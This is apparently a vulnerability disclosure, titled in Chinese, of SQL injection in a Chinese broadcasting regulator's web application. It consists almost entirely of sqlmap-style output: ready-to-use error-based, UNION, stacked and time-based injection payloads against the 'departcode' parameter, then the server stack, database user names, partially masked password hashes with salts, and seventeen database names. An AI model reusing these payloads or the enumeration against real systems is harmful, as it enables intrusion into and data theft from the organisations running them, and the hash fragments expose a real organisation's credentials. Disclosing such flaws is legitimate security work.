国家广电局存在SQL注射漏洞影响大量数据

Place: GET
 Parameter: departcode
     Type: error-based
     Payload: departcode=' AND 5347=CONVERT(INT,(SELECT CHAR(113)+CHAR(119)+CHAR(
 114)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (5347=5347) THEN CHAR(49) ELSE CHAR(
 48) END))+CHAR(113)+CHAR(106)+CHAR(97)+CHAR(109)+CHAR(113))) AND 'niTr'='niTr
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 2 columns
     Payload: departcode=' UNION ALL SELECT CHAR(113)+CHAR(119)+CHAR(114)+CHAR(11
 3)+CHAR(113)+CHAR(112)+CHAR(68)+CHAR(103)+CHAR(74)+CHAR(89)+CHAR(79)+CHAR(73)+CH
 AR(76)+CHAR(68)+CHAR(81)+CHAR(113)+CHAR(106)+CHAR(97)+CHAR(109)+CHAR(113),NULL--
 
 
     Type: stacked queries
     Payload: departcode='; WAITFOR DELAY '0:0:5'--
 
     Type: AND/OR time-based blind
     Payload: departcode=' WAITFOR DELAY '0:0:5'--
 ---
 
 web server operating system: Windows 2008 R2 or 7
 web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
 back-end DBMS: **
 database management system users [2]:
 [*] jcsywg**
 [*] jcywgd**
 
 [*] jcs** [1]:
     password hash: 0x01004086ceb6fc7c56****7157fa17ed2857cb87715d802b
         header: 0x0100
         salt: 408**b6
         mixedcase: fc7c56390***17ed2857cb87715d802b
 
 [*] jc** [1]:
     password hash: 0x0100a14cfee38***d5406f1cecf83246f09bf45a
         header: 0x0100
         salt: a14cf*3
         mixedcase: 86469c3aba6095***06f1cecf83246f09bf45a
 
 available databases [17]:
 [*] ChinaS*ap
 [*] Chin*InfoFaBu
 [*] data
 [*] jc*
 [*] jcy*0
 [*] jcy*1
 [*] jcy**
 [*] jc*1216
 [*] jcy**326
 [*] jcy*
 [*] jcy*
 [*] kjds*f
 [*] master
 [*] model
 [*] msdb
 [*] SarftS*e1
 [*] tempdb